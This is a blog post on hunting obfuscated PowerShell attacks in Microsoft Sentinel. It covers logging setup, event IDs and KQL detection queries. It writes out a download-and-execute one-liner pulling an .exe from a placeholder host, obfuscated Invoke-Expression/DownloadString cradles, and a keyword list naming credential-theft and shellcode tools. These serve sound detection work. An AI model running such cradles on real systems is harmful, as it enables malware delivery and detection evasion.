PowerShell Hunting with Microsoft Sentinel

An attacker is like a lover. He teases until he finds the right moment to act on your network. This behavior is the same for the PowerShell attack. The following post focuses on PowerShell obfuscation and how to monitor with Microsoft Sentinel.

PowerShell is a powerful scripting language that provides unique access to a machine’s inner core, including unrestricted access to the Windows core system. PowerShell also benefits from being an integral part of Windows that’s wholly trusted, so security products usually ignore the commands it executes.

Because PowerShell is very popular, PowerShell is generally treated as a trusted application by security software. It’s part of Windows, so malware authors have become increasingly prevalent in leveraging PowerShell to slip bad malicious stuff.

An attacker can take advantage of PowerShell in favor of an attack. Here are some strong examples of what attackers can do with PowerShell:

  • Download (and execute) malicious payload
  • Reverse Shell
  • Mimikatz
  • Embed scripts in images
  • Write a complete RansomWare
  • Fileless attacks
  • and more

The main PowerShell attack is:

Fileless evades many defense tools such as firewalls, antivirus software, and intrusion prevention systems. With its fileless feature, PowerShell can be loaded from memory and execute arbitrary code without touching the hard disk.

LOTL can easily reach the attack destination while evading standard attack detection and intrusion prevention systems. PowerShell comes with many Windows operating systems.

Obfuscating code can do the same action more quickly. Specific characteristics of scripting languages, with the flexible PowerShell, in conjunction with multiple obfuscation methods, can quickly render traditional detection tools useless.

PowerShell Obfuscation

Obfuscation is the practice of making something difficult to understand. Programming code is often obfuscated to protect intellectual property and prevent an attacker from reverse engineering a proprietary software program. Obfuscation may involve encrypting some or all of the code, stripping out potentially revealing metadata, renaming useful class and variable names to meaningless labels, or adding unused or meaningless code to an application binary.

Attackers often use various obfuscation techniques to hide most of the commands and slow down analyst investigation. Obfuscation is the default way to make malicious code unreadable to the human researcher and the various antimalware products that can hardly afford themselves the downtime that’s entailed in real-time deobfuscation to reveal a payload’s actual intent.

There are many obfuscating techniques in PowerShell, from the basics of write-host to uses of a cradle with token-layer obfuscation.

PowerShell execution options can be executed in either one of the following ways:

  • Registry this technique was extensively used by Poweliks and kovter malware variants ( mshta or rundll + ActiveXObject).
  • File ps1 / .VBS / .BAT and scheduled task.
  • Macros Office files- Word, Excel, etc.
  • Remotely PowerShell Remoting (PSS), PsExec, WMI.

An attacker typically uses obfuscation commands for the following reasons:

  • To hide command and control communication.
  • To evade detection by a signature-based solution.
  • To obfuscate strings within the malicious binary, evading detection via static analysis.

The most common PowerShell obfuscation techniques are:

  • Concatenation – split strings into multiple parts, concatenated through the “+” operator, for example, $a = “http://elli.com/elli.exe”
  • Reordering– formatting operator (-f), the string is divided into several parts and will reorder by the (-f).
  • Escaping character– escape character ` will try to trick the analyst into understanding the command, they are typically inserted into the middle of the string, for example, http://elli.com/elli.exe à $a can be (“http://el`li.c`om.el`li.ex`e”)

Suppose we look at some basic Powershell building blocks that are usually found in malicious scripts. This command opens an external connection to download and execute a malicious binary file from a specific URL:

(New-Object System.Net.WebClient).DownloadFile(’http://www.elli.local/elli.exe’,”$env:APPDATA\elli.exe”) ; Start-Process (“$env:APPDATA\elli.exe”)

PowerShell Logging

Before we’re going into obfuscation, let’s explore how events get logged by Windows, specifically for PowerShell. Once you see the logs, you’ll get a greater appreciation of what attackers can hide. Microsoft has realized the threat possibilities in PowerShell and started improving command logging in Windows 7.

Module Logging generates a high-level audit trail of PowerShell activity and potentially malicious activity. At a minimum, this will show which commands were executed through PowerShell. This logging level should always be enabled and is useful starting with PS version 3.

Script Block Logging is more verbose than module logging and provides additional context and output, especially when functions are called, and function output itself is invoked as a command. The amount of noise heavily depends on the type of PowerShell activity, but I’d recommend turning this option on as well. If it ends up producing too much noise, it can always be disabled or customized later.

Transcription provides a full log of all input and output and requires additional considerations regarding where the transcription files are placed. Transcript files are stored in the file system, so it’s a little more work than just adding up a couple of registry values. If you enable this feature, you’ll need to ensure that the actual transcript files are protected from unauthorized access.

The goal of the attacker is to make it challenging or impossible for SecOps viewing the log to detect obvious hacking activity or, more likely, fool analytics software to not trigger when malware is loaded.

When any PowerShell commands or scripts are executed, whether locally or remotely, Windows can write events into three log files:

  • Windows PowerShell
  • Microsoft-Windows-PowerShell/Operational
  • Microsoft-Windows-PowerShell/Analytic
  • Microsoft-Windows-WinRM/Operational
  • Microsoft-Windows-WinRM/Analytic

The PowerShell Event IDs include many event ID numbers.

Event ID 400 to 600 includes all the PowerShell versions:

  • PowerShell 4 and higher use the “Microsoft-Windows-PowerShell/Operational” log you will see unencoded from the sample above.
  • Once enabling ScriptBlockLogging, PowerShell v4 and higher will decode it for you in the 4104 events.
  • PowerShell may use many various characters. The purpose is to trigger the use of ticks or special characters that are used to obfuscate or break keyword searches.
  • Look for PowerShell web downloads. This can be obfuscated but would get picked up by another query below using odd characters and or ticks.
  • Look for Base64 module data, and isolate the Base64 for conversion. The purpose is to look for encoded Base64 script blocks that may need to be decoded to know what they do.

TIP: Encoded modules are how PowerShell commands can be hidden from the user and certain logs. You must understand which Event IDs and fields are involved in collecting and reporting on the right things as a part of your IR investigation.

PowerShell Hunting with Microsoft Sentinel

Event ID 4100

  • Look for Execution Policy bypass and No Profile executions and less loud.
  • Look for PowerShell modules greater than 1000 characters.
  • Look for PowerShell web downloads. This can be obfuscated but would get picked up by another query

PowerShell Hunting with Microsoft Sentinel

Besides, PowerShell is usually invoked via powershell.exe. Because we’re after that processes command line, it’s important to monitor Process events from the security event log in addition to events logged by PowerShell itself. This means you’ll need to audit the following sub-categories from the Detailed Tracking category:

  • Process Creation: Success and Failure with Event id 4688
  • Process Termination: Success and Failure with Event id 4689

Event ID 4688 is located at the Security Log and used to record the command lines for PowerShell and can be useful for many scenarios such as”

  • Execution Policy bypass and No Profile executions, and the main idea here is to look for execution bypasses. This can be obfuscated but would get picked up by another query below using odd
    characters and or with ticks.
  • Execution Policy bypass and No Profile executions but less loud, and these remove a few full name bypasses that are commonly used to catch the more suspicious shortened ones.
  • PowerShell uses a large number of odd characters with ticks and Percent %. The idea here is to trigger the use of ticks or special characters that are used to obfuscate or break keyword searches.
  • PowerShell web downloads. The idea here is to trigger the download requests.

TIP: Event ID 4688 shows the entire command that was executed with the encoded blob similar to above

Monitor with Microsoft Sentinel

To monitor PowerShell with Microsoft Sentinel, you must first enable Module Logging and Script Block Logging on Domain Controller, Windows Server, and even Windows Devices.

Then you need to add a windows event log on Microsoft Sentinel. TO do this, go to Microsoft Sentinel Workspace, and from Agents configuration, choose the following event log for PowerShell.

PowerShell Hunting with Microsoft Sentinel

We can run the essential queries to view the data we’ve got on Microsoft Sentinel to know which information is collected. We can run the following queries:

Event
| where Source contains “PowerShell”
| summarize count()

or run the following query

Event
| where Source contains “PowerShell”
| distinct Source

PowerShell Hunting with Microsoft Sentinel

Once the PowerShell logging and Microsoft Sentinel event logs are configured, we can run a few PowerShell commands to obfuscate and bypass many defense layers. The obfuscation can be simple or hard and based on the following example:

Easy Obfuscation- Invoke-Expression (New-Object Net.WebClient).DownloadString(“htt” + “ps://” + “bit.ly/sample”)

Medium Obfuscation – Invoke-Expression (New-Object “NeT.WeBClieNt”).”DowNloAdSTRiN`g”(‘htt’ + ‘ps://’ + ‘bit.ly/sample’)

Hard Obfuscation – INVoke-ExpRessioN (& (GCM w-O) “NeT.WeBClieNT”).”DowNloAdSTRiN`g”( ‘ht’+’tps://bit.ly/sample’)

Notes: the URL is a demo URL and does not download malicious content. It’s a sample.

We can run the following queries to obfuscate:

This query is easy obfuscation.

// Search event from tables
union Event, SecurityEvent
| where EventID in (4103,4104,4105,4688)
// Search for easy obfuscation
| where EventData contains “Invoke-Expression”
| where EventData contains “htt”
| where EventData contains “DownloadString”

This query is medium obfuscation.

// Search event from tables
union Event, SecurityEvent
| where EventID in (4103,4104,4105,4688)
// Search for medium obfuscation
| where EventData contains “I`N`V`o`k`e”
| where EventData contains “E`x`p`R`e`s`s`i`o`N”
| where EventData contains “D`o`w`N`l`o`A`d`S`T`R`i`N`g”
| where EventData contains “N`e`T`,`W`e`B`C`l`i`e`N`t”

FOr example, the query below is hard to obfuscate.

// Search event from tables
union Event, SecurityEvent
| where EventID in (4103,4104,4105,4688)
// Search for Hard Obfuscation
| where EventData contains “
I`N`V`o`k`e,
E`x`p`R`e`s`s`i`o`N,
N`e`T,
W`e`B`C`l`i`e`N`T,
D`o`w`N`l`o`A`d`S`T`R`i`N`g,
E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T”

PowerShell Hunting with Microsoft Sentinel

We can also search for bypass or payload action from the 4688 log

// Search event from tables
union Event, SecurityEvent
| where EventID in (4103,4104,4105,4688)
| where EventData contains “bypass, Payload”

Another way to look at detecting dangerous PowerShell is to focus on a few known suspicious calls to cut down on the noise and trigger things you should investigate, such as;

  • Download – Look for downloads using PowerShell
  • Net.WebClient – Look for downloads using PowerShell
  • IEX – Short for invoke-expression
  • Invoke-expression – Calls an expression.
  • Invoke-command – Calls a command.

If you want to hunt a PowerShell for Dangerous Commands, you can create a hunting query with the example below:

let timeframe = 7d;
union Event, SecurityEvent
| where TimeGenerated >= ago(timeframe)
| where EventID in (4103, 4104, 4105, 4688)
| where EventData contains “Mimikatz,EncodedCommand,Payload,Find-AVSignature,DllInjection,ReflectivePEInjection,Invoke-Shellcode,Invoke–Shellcode, Invoke-ShellcodeMSIL,Get-GPPPassword,Get-Keystrokes, Get-TimedScreenshot,Get-VaultCredential,Invoke-CredentialInjection, Invoke-NinjaCopy, Invoke-TokenManipulation”

PowerShell Hunting with Microsoft Sentinel

TIP: you add more commands to the event data from the PowerShell Hunting commands list

More posts about Microsoft Sentinel

You may also like...

2 Responses

  1. David Alonso Dominguez says:

    Link of Powershell hunting command list is not working

Leave a Reply

error: Content is Protected !!
%d bloggers like this: